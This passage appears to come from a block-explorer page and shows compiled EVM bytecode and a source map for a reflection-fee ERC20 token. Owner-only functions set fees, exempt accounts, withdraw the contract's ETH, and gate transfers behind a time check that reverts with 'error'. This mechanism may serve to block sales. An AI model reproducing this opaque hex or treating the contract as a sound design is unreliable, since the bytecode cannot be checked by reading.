461251f565b6001600160a01b031660009081526009602052604090205490565b34801561088f57600080fd5b5061037361089e36600461251f565b6112fa565b3480156108af57600080fd5b506103506108be36600461251f565b60096020526000908152604090205481565b3480156108dc57600080fd5b506103736108eb36600461251f565b611345565b3480156108fc57600080fd5b5061037361090b3660046124eb565b61142f565b34801561091c57600080fd5b50601154610327906001600160a01b031681565b600061093d338484611477565b5060015b92915050565b6000546001600160a01b0316331461097a5760405162461bcd60e51b8152600401610971906125f7565b60405180910390fd5b600080546040516001600160a01b039091169182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3600080546001600160a01b031981166001600160a01b03909116179055565b60006109df84848461159b565b610a318433610a2c856040518060600160405280602881526020016126e7602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611788565b611477565b50602554600160b01b900460ff165b9392505050565b6000546001600160a01b03163314610a715760405162461bcd60e51b8152600401610971906125f7565b60258054911515600160b01b0260ff60b01b19909216919091179055565b6000600e54821115610af65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610971565b6000610b006117b4565b9050610a408184612642565b6000546001600160a01b03163314610b365760405162461bcd60e51b8152600401610971906125f7565b601055565b6000546001600160a01b03163314610b655760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03811660009081526007602052604090205460ff16610bcd5760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610971565b60005b600a54811015610ced57816001600160a01b0316600a8281548110610bf757610bf7612664565b6000918252602090912001546001600160a01b031603610cdb57600a8054610c219060019061267a565b81548110610c3157610c31612664565b600091825260209091200154600a80546001600160a01b039092169183908110610c5d57610c5d612664565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600a805480610cb557610cb561268d565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610ce5816126a3565b915050610bd0565b5050565b6001600160a01b03811660009081526007602052604090205460ff16610dcc576001600160a01b0381166000908152600760209081526040808320805460ff19166001179055600390915290205415610d80576001600160a01b038116600090815260036020526040902054610d6690610a8f565b6001600160a01b0382166000908152600460205260409020555b600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381166000908152600660205260409020805460ff19166001908117909155610ced90826117d7565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161093d918590610a2c9086906126bc565b6000546001600160a01b03163314610e5d5760405162461bcd60e51b8152600401610971906125f7565b6040514790339082156108fc029083906000818181858888f19350505050158015610ced573d6000803e3d6000fd5b6000546001600160a01b03163314610eb65760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600d54831115610f2e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610971565b81610f4a576000610f408460016117ec565b5191506109419050565b6000610f578460016117ec565b6020015191506109419050565b6000546001600160a01b03163314610f8e5760405162461bcd60e51b8152600401610971906125f7565b601893909355601991909155601a55601b55565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03811660009081526007602052604090205460ff16156110355760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610971565b6001600160a01b0381166000908152600360205260409020541561108f576001600160a01b03811660009081526003602052604090205461107590610a8f565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561113257506001600160a01b031660009081526004602052604090205490565b6001600160a01b03821660009081526003602052604090205461094190610a8f565b6000546001600160a01b0316331461117e5760405162461bcd60e51b8152600401610971906125f7565b601c93909355601d91909155601e55601f55565b6000836000036111a457506000610a40565b60006111b0854261267a565b905060105481036111c5576001915050610a40565b806000036111ec576011546001600160a01b038481169116146111ec576000915050610a40565b8381116111fd576001915050610a40565b506000949350505050565b600061093d3384610a2c8560405180606001604052806025815260200161270f602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611788565b600061126433848461159b565b5050602554600160a01b900460ff16919050565b6000546001600160a01b031633146112a25760405162461bcd60e51b8152600401610971906125f7565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906112ef90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146113245760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461136f5760405162461bcd60e51b8152600401610971906125f7565b6001600160a01b0381166113d45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610971565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146114595760405162461bcd60e51b8152600401610971906125f7565b60258054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b0383166114d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610971565b6001600160a01b03821661153a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610971565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610971565b6001600160a01b0382166116615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610971565b600081116116c35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610971565b6116cc836110f5565b8111156117345760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610971565b6001600160a01b0383166000908152600660205260409020546117839084908490849060ff168061177d57506001600160a01b03861660009081526006602052604090205460ff165b15611834565b505050565b600081848411156117ac5760405162461bcd60e51b8152600401610971919061240b565b505050900390565b60008060006117c1611dfe565b90925090506117d08183612642565b9250505090565b6000610a40836001600160a01b038416611f81565b6117f46123b1565b6117fe8383612074565b905061181381848461180e6117b4565b612152565b60a08701526080860152606085015260408401526020830152815292915050565b8015611a03576025546001600160a01b039081169085160361190a576000546001600160a01b0385811691161480159061187c57506000546001600160a01b03848116911614155b801561189257506001600160a01b038316600114155b156118d2576001600160a01b03831660009081526008602052604081205490036118d2576001600160a01b03831660009081526008602052604090204290555b601180546001600160a01b0319166001600160a01b038516179055601854602055601954602155601a54602255601b54602355611a7d565b6000546001600160a01b0385811691161480159061193657506000546001600160a01b03848116911614155b801561194c57506001600160a01b038316600114155b156119cb576001600160a01b03841660009081526008602052604081205461197790600f5487611192565b9050806119ae5760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610971565b506001600160a01b03841660009081526009602052604090204290555b601c54602055601d54602155601e54602255601f54602355601180546001600160a01b0319166001600160a01b038616179055611a7d565b6001600160a01b03841660009081526006602052604090205460ff1615611a4057601180546001600160a01b0319166001600160a01b0386161790555b6001600160a01b03831660009081526006602052604090205460ff1615611a7d57601180546001600160a01b0319166001600160a01b0385161790555b6000611a8983836117ec565b6001600160a01b03861660009081526007602052604090205490915060ff168015611acd57506001600160a01b03841660009081526007602052604090205460ff16155b15611b14576001600160a01b038516600090815260046020526040902054611af690849061267a565b6001600160a01b038616600090815260046020526040902055611c5a565b6001600160a01b03851660009081526007602052604090205460ff16158015611b5557506001600160a01b03841660009081526007602052604090205460ff165b15611ba05760c08101516001600160a01b038516600090815260046020526040902054611b8291906126bc565b6001600160a01b038516600090815260046020526040902055611c5a565b6001600160a01b03851660009081526007602052604090205460ff168015611be057506001600160a01b03841660009081526007602052604090205460ff165b15611c5a576001600160a01b038516600090815260046020526040902054611c0990849061267a565b6001600160a01b038087166000908152600460205260408082209390935560c084015191871681529190912054611c4091906126bc565b6001600160a01b0385166000908152600460205260409020555b80516001600160a01b038616600090815260036020526040902054611c7f919061267a565b6001600160a01b0380871660009081526003602090815260408083209490945584015191871681529190912054611cb691906126bc565b6001600160a01b0385166000908152600360205260409020558115611d7d57611ce781604001518260e00151612204565b611cfa8160600151826101000151612233565b611d0d81608001518261012001516122d5565b611d208160a00151826101400151612304565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151846101000151611d6b91906126bc565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051611dc691815260200190565b60405180910390a3611dd9600185612344565b50611de3856110f5565b600003611df757611df56001866117d7565b505b5050505050565b600e54600d546000918291825b600a54811015611f50578260036000600a8481548110611e2d57611e2d612664565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611e9857508160046000600a8481548110611e7157611e71612664565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611eae57600e54600d54945094505050509091565b60036000600a8381548110611ec557611ec5612664565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611ef4908461267a565b925060046000600a8381548110611f0d57611f0d612664565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611f3c908361267a565b915080611f48816126a3565b915050611e0b565b50600d54600e54611f619190612642565b821015611f7857600e54600d549350935050509091565b90939092509050565b6000818152600183016020526040812054801561206a576000611fa560018361267a565b8554909150600090611fb99060019061267a565b905081811461201e576000866000018281548110611fd957611fd9612664565b9060005260206000200154905080876000018481548110611ffc57611ffc612664565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061202f5761202f61268d565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610941565b6000915050610941565b61207c6123b1565b8161208d5760c08101839052610941565b60205460649061209d90856126cf565b6120a79190612642565b60e08201526021546064906120bc90856126cf565b6120c69190612642565b6101008201526022546064906120dc90856126cf565b6120e69190612642565b6101208201526023546064906120fc90856126cf565b6121069190612642565b610140820181905261012082015161010083015160e0840151612129908761267a565b612133919061267a565b61213d919061267a565b612147919061267a565b60c082015292915050565b60008080808080612163878a6126cf565b95508761217e575084935060009250829150819050806121f7565b868a60e0015161218e91906126cf565b9350868a61010001516121a191906126cf565b9250868a61012001516121b491906126cf565b9150868a61014001516121c791906126cf565b90508082846121d6878a61267a565b6121e0919061267a565b6121ea919061267a565b6121f4919061267a565b94505b9499939850945094509450565b81600e54612212919061267a565b600e556012805482919060009061222a9084906126bc565b90915550505050565b806016600001600082825461224891906126bc565b9091555050601380548291906000906122629084906126bc565b9091555050306000908152600360205260409020546122829083906126bc565b3060009081526003602090815260408083209390935560079052205460ff1615610ced57306000908152600460205260409020546122c19082906126bc565b306000908152600460205260409020555050565b80601660010160008282546122ea91906126bc565b9091555050601480548291906000906122629084906126bc565b806012600301600082825461231991906126bc565b9091555050600d5461232c90829061267a565b600d55600e5461233d90839061267a565b600e555050565b6000610a40836001600160a01b0384166000612373838360009081526001919091016020526040902054151590565b6123a957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610941565b506000610941565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208083528351808285015260005b818110156124385785810183015185820160400152820161241c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461247057600080fd5b919050565b6000806040838503121561248857600080fd5b61249183612459565b946020939093013593505050565b6000806000606084860312156124b457600080fd5b6124bd84612459565b92506124cb60208501612459565b9150604084013590509250925092565b8035801515811461247057600080fd5b6000602082840312156124fd57600080fd5b610a40826124db565b60006020828403121561251857600080fd5b5035919050565b60006020828403121561253157600080fd5b610a4082612459565b6000806040838503121561254d57600080fd5b8235915061255d602084016124db565b90509250929050565b6000806000806080858703121561257c57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156125ad57600080fd5b83359250602084013591506125c460408501612459565b90509250925092565b600080604083850312156125e057600080fd5b6125e983612459565b915061255d60208401612459565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261265f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b818103818111156109415761094161262c565b634e487b7160e01b600052603160045260246000fd5b6000600182016126b5576126b561262c565b5060010190565b808201808211156109415761094161262c565b80820281158282048414176109415761094161262c56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220179f5d00461290ed9b730f462055095a4fd5e4dd01f2268f498b896a5c930c6564736f6c63430008120033

Deployed Bytecode Sourcemap

16407:17506:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21913:83;;;;;;;;;;-1:-1:-1;21983:5:0;;;;;;;;;;;-1:-1:-1;;;21983:5:0;;;;21913:83;;;;21983:5;21913:83;:::i;:::-;;;;;;;;23036:161;;;;;;;;;;-1:-1:-1;23036:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;23036:161:0;1004:187:1;17394:87:0;;;;;;;;;;-1:-1:-1;17394:87:0;;;;-1:-1:-1;;;;;17394:87:0;;;;;;-1:-1:-1;;;;;1360:32:1;;;1342:51;;1330:2;1315:18;17394:87:0;1196:203:1;22193:95:0;;;;;;;;;;-1:-1:-1;22273:7:0;;22193:95;;;1550:25:1;;;1538:2;1523:18;22193:95:0;1404:177:1;7970:141:0;;;;;;;;;;;;;:::i;:::-;;23206:324;;;;;;;;;;-1:-1:-1;23206:324:0;;;;;:::i;:::-;;:::i;22780:95::-;;;;;;;;;;-1:-1:-1;22780:95:0;;;;;:::i;:::-;;:::i;24506:248::-;;;;;;;;;;-1:-1:-1;24506:248:0;;;;;:::i;:::-;;:::i;22101:83::-;;;;;;;;;;-1:-1:-1;22101:83:0;;17117:1;2596:36:1;;2584:2;2569:18;22101:83:0;2454:184:1;17662:37:0;;;;;;;;;;;;;;;;21792:109;;;;;;;;;;-1:-1:-1;21792:109:0;;;;;:::i;:::-;;:::i;25512:475::-;;;;;;;;;;-1:-1:-1;25512:475:0;;;;;:::i;:::-;;:::i;25105:398::-;;;;;;;;;;-1:-1:-1;25105:398:0;;;;;:::i;:::-;;:::i;23539:213::-;;;;;;;;;;-1:-1:-1;23539:213:0;;;;;:::i;:::-;;:::i;33768:139::-;;;;;;;;;;;;;:::i;20460:129::-;;;;;;;;;;-1:-1:-1;20460:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;20553:28:0;20529:4;20553:28;;;:20;:28;;;;;;;20460:129;25996:111;;;;;;;;;;-1:-1:-1;25996:111:0;;;;;:::i;:::-;;:::i;24041:456::-;;;;;;;;;;-1:-1:-1;24041:456:0;;;;;:::i;:::-;;:::i;19225:40::-;;;;;;;;;;-1:-1:-1;19225:40:0;;;;-1:-1:-1;;;19225:40:0;;;;;;20732:253;;;;;;;;;;-1:-1:-1;20732:253:0;;;;;:::i;:::-;;:::i;24763:333::-;;;;;;;;;;-1:-1:-1;24763:333:0;;;;;:::i;:::-;;:::i;19033:32::-;;;;;;;;;;-1:-1:-1;19033:32:0;;;;-1:-1:-1;;;;;19033:32:0;;;26235:123;;;;;;;;;;-1:-1:-1;26235:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;26323:27:0;26299:4;26323:27;;;:18;:27;;;;;;;;;26235:123;22297:198;;;;;;;;;;-1:-1:-1;22297:198:0;;;;;:::i;:::-;;:::i;18451:129::-;;;;;;;;;;-1:-1:-1;18451:129:0;;;;;;;;;;;;;;;;;;;3708:25:1;;;3764:2;3749:18;;3742:34;;;;3792:18;;;3785:34;3850:2;3835:18;;3828:34;3695:3;3680:19;18451:129:0;3477:391:1;18313:128:0;;;;;;;;;;-1:-1:-1;18313:128:0;;;;;;;;;;;;;;;20994:258;;;;;;;;;;-1:-1:-1;20994:258:0;;;;;:::i;:::-;;:::i;18981:45::-;;;;;;;;;;-1:-1:-1;18981:45:0;;;;-1:-1:-1;;;;;18981:45:0;;;18271:31;;;;;;;;;;-1:-1:-1;18271:31:0;;;;;;;;;;;;;4282:25:1;;;4338:2;4323:18;;4316:34;;;;4255:18;18271:31:0;4108:248:1;7491:88:0;;;;;;;;;;-1:-1:-1;7537:7:0;7565:6;-1:-1:-1;;;;;7565:6:0;7491:88;;17625:29;;;;;;;;;;;;;;;;17920:36;;;;;;;;;;-1:-1:-1;17920:36:0;;;;;;;;;;;;;;;21261:522;;;;;;;;;;-1:-1:-1;21261:522:0;;;;;:::i;:::-;;:::i;23761:269::-;;;;;;;;;;-1:-1:-1;23761:269:0;;;;;:::i;:::-;;:::i;16932:53::-;;;;;;;;;;-1:-1:-1;16932:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;22504:170;;;;;;;;;;-1:-1:-1;22504:170:0;;;;;:::i;:::-;;:::i;19124:26::-;;;;;;;;;;-1:-1:-1;19124:26:0;;;;-1:-1:-1;;;19124:26:0;;;;;;26367:171;;;;;;;;;;-1:-1:-1;26367:171:0;;;;;:::i;:::-;;:::i;17278:87::-;;;;;;;;;;-1:-1:-1;17278:87:0;;;;-1:-1:-1;;;;;17278:87:0;;;22884:143;;;;;;;;;;-1:-1:-1;22884:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;22992:18:0;;;22965:7;22992:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;22884:143;20598:125;;;;;;;;;;-1:-1:-1;20598:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;20688:27:0;20664:4;20688:27;;;:15;:27;;;;;;;20598:125;26116:110;;;;;;;;;;-1:-1:-1;26116:110:0;;;;;:::i;:::-;;:::i;16989:48::-;;;;;;;;;;-1:-1:-1;16989:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;7717:244;;;;;;;;;;-1:-1:-1;7717:244:0;;;;;:::i;:::-;;:::i;22683:87::-;;;;;;;;;;-1:-1:-1;22683:87:0;;;;;:::i;:::-;;:::i;17742:26::-;;;;;;;;;;-1:-1:-1;17742:26:0;;;;-1:-1:-1;;;;;17742:26:0;;;23036:161;23111:4;23128:39;3445:10;23151:7;23160:6;23128:8;:39::i;:::-;-1:-1:-1;23185:4:0;23036:161;;;;;:::o;7970:141::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;;;;;;;;;8070:6:::1;::::0;;8041:36:::1;::::0;-1:-1:-1;;;;;8070:6:0;;::::1;::::0;;;8041:36:::1;::::0;8070:6;8041:36:::1;8097:6;::::0;;-1:-1:-1;;;;;;8088:15:0;::::1;-1:-1:-1::0;;;;;8097:6:0;;::::1;8088:15;::::0;;7970:141::o;23206:324::-;23304:4;23321:36;23331:6;23339:9;23350:6;23321:9;:36::i;:::-;23368:121;23377:6;3445:10;23399:89;23437:6;23399:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;23399:19:0;;;;;;:11;:19;;;;;;;;3445:10;23399:33;;;;;;;;;;:37;:89::i;:::-;23368:8;:121::i;:::-;-1:-1:-1;23507:13:0;;-1:-1:-1;;;23507:13:0;;;;23206:324;;;;;;:::o;22780:95::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;22844:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;22844:23:0::1;-1:-1:-1::0;;;;22844:23:0;;::::1;::::0;;;::::1;::::0;;22780:95::o;24506:248::-;24572:7;24611;;24600;:18;;24592:73;;;;-1:-1:-1;;;24592:73:0;;5516:2:1;24592:73:0;;;5498:21:1;5555:2;5535:18;;;5528:30;5594:34;5574:18;;;5567:62;-1:-1:-1;;;5645:18:1;;;5638:40;5695:19;;24592:73:0;5314:406:1;24592:73:0;24676:19;24699:10;:8;:10::i;:::-;24676:33;-1:-1:-1;24727:19:0;24676:33;24727:7;:19;:::i;21792:109::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;21861:17:::1;:32:::0;21792:109::o;25512:475::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25594:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;25586:56;;;::::0;-1:-1:-1;;;25586:56:0;;6281:2:1;25586:56:0::1;::::0;::::1;6263:21:1::0;6320:2;6300:18;;;6293:30;6359:25;6339:18;;;6332:53;6402:18;;25586:56:0::1;6079:347:1::0;25586:56:0::1;25658:9;25653:327;25677:9;:16:::0;25673:20;::::1;25653:327;;;25735:7;-1:-1:-1::0;;;;;25719:23:0::1;:9;25729:1;25719:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;25719:12:0::1;:23:::0;25715:254:::1;;25778:9;25788:16:::0;;:20:::1;::::0;25807:1:::1;::::0;25788:20:::1;:::i;:::-;25778:31;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;25763:9:::1;:12:::0;;-1:-1:-1;;;;;25778:31:0;;::::1;::::0;25773:1;;25763:12;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;25763:46:0::1;-1:-1:-1::0;;;;;25763:46:0;;::::1;;::::0;;25828:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;25867:11:::1;:20:::0;;;;:28;;-1:-1:-1;;25867:28:0::1;::::0;;25914:9:::1;:15:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;25914:15:0;;;;;-1:-1:-1;;;;;;25914:15:0::1;::::0;;;;;25653:327:::1;25512:475:::0;:::o;25715:254::-:1;25695:3:::0;::::1;::::0;::::1;:::i;:::-;;;;25653:327;;;;25512:475:::0;:::o;25105:398::-;-1:-1:-1;;;;;25168:20:0;;;;;;:11;:20;;;;;;;;25164:238;;-1:-1:-1;;;;;25210:20:0;;;;;;:11;:20;;;;;;;;:27;;-1:-1:-1;;25210:27:0;25233:4;25210:27;;;25252:7;:16;;;;;;:20;25249:108;;-1:-1:-1;;;;;25328:16:0;;;;;;:7;:16;;;;;;25308:37;;:19;:37::i;:::-;-1:-1:-1;;;;;25289:16:0;;;;;;:7;:16;;;;;:56;25249:108;25367:9;:23;;;;;;;-1:-1:-1;25367:23:0;;;;;;;;-1:-1:-1;;;;;;25367:23:0;-1:-1:-1;;;;;25367:23:0;;;;;25164:238;-1:-1:-1;;;;;25412:27:0;;;;;;:18;:27;;;;;:34;;-1:-1:-1;;25412:34:0;25442:4;25412:34;;;;;;25460:35;;25431:7;25460:26;:35::i;23539:213::-;3445:10;23627:4;23676:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;23676:34:0;;;;;;;;;;23627:4;;23644:78;;23667:7;;23676:45;;23711:10;;23676:45;:::i;33768:139::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;33862:37:::1;::::0;33832:21:::1;::::0;33870:10:::1;::::0;33862:37;::::1;;;::::0;33832:21;;33814:15:::1;33862:37:::0;33814:15;33862:37;33832:21;33870:10;33862:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;25996:111:::0;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;26065:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;26065:34:0::1;26095:4;26065:34;::::0;;25996:111::o;24041:456::-;24131:7;24170;;24159;:18;;24151:62;;;;-1:-1:-1;;;24151:62:0;;7300:2:1;24151:62:0;;;7282:21:1;7339:2;7319:18;;;7312:30;7378:33;7358:18;;;7351:61;7429:18;;24151:62:0;7098:355:1;24151:62:0;24229:17;24224:266;;24263:28;24294:25;24305:7;24314:4;24294:10;:25::i;:::-;24341:9;;-1:-1:-1;24334:16:0;;-1:-1:-1;24334:16:0;24224:266;24383:28;24414:25;24425:7;24434:4;24414:10;:25::i;:::-;24461:17;;;;-1:-1:-1;24454:24:0;;-1:-1:-1;24454:24:0;20732:253;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;20846:8:::1;:18:::0;;;;20875;:30;;;;20916:18;:30;20957:13;:20;20732:253::o;24763:333::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24846:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;24845:21;24837:61;;;::::0;-1:-1:-1;;;24837:61:0;;7660:2:1;24837:61:0::1;::::0;::::1;7642:21:1::0;7699:2;7679:18;;;7672:30;7738:29;7718:18;;;7711:57;7785:18;;24837:61:0::1;7458:351:1::0;24837:61:0::1;-1:-1:-1::0;;;;;24912:16:0;::::1;24931:1;24912:16:::0;;;:7:::1;:16;::::0;;;;;:20;24909:108:::1;;-1:-1:-1::0;;;;;24988:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;24968:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;24949:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;24909:108:::1;-1:-1:-1::0;;;;;25027:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;25027:27:0::1;25050:4;25027:27:::0;;::::1;::::0;;;25065:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;25065:23:0::1;::::0;;::::1;::::0;;24763:333::o;22297:198::-;-1:-1:-1;;;;;22387:20:0;;22363:7;22387:20;;;:11;:20;;;;;;;;22383:49;;;-1:-1:-1;;;;;;22416:16:0;;;;;:7;:16;;;;;;;22297:198::o;22383:49::-;-1:-1:-1;;;;;22470:16:0;;;;;;:7;:16;;;;;;22450:37;;:19;:37::i;20994:258::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;21109:9:::1;:19:::0;;;;21139;:31;;;;21181:19;:31;21223:14;:21;20994:258::o;21261:522::-;21372:4;21396:17;21417:1;21396:22;21392:41;;-1:-1:-1;21428:5:0;21421:12;;21392:41;21447:17;21467:35;21485:17;21467:15;:35;:::i;:::-;21447:55;;21533:17;;21520:9;:30;21516:48;;21560:4;21553:11;;;;;21516:48;21582:9;21595:1;21582:14;21578:120;;21617:11;;-1:-1:-1;;;;;21617:21:0;;;:11;;:21;21613:74;;21666:5;21659:12;;;;;21613:74;21725:7;21712:9;:20;21708:38;;21742:4;21735:11;;;;;21708:38;-1:-1:-1;21770:5:0;;21261:522;-1:-1:-1;;;;21261:522:0:o;23761:269::-;23854:4;23871:129;3445:10;23894:7;23903:96;23942:15;23903:96;;;;;;;;;;;;;;;;;3445:10;23903:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;23903:34:0;;;;;;;;;;;;:38;:96::i;22504:170::-;22582:4;22599:42;3445:10;22623:9;22634:6;22599:9;:42::i;:::-;-1:-1:-1;;22659:7:0;;-1:-1:-1;;;22659:7:0;;;;;22504:170;-1:-1:-1;22504:170:0:o;26367:171::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;26444:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;26444:32:0::1;-1:-1:-1::0;;;;26444:32:0;;::::1;;::::0;;26492:38:::1;::::0;::::1;::::0;::::1;::::0;26468:8;1169:14:1;1162:22;1144:41;;1132:2;1117:18;;1004:187;26492:38:0::1;;;;;;;;26367:171:::0;:::o;26116:110::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1: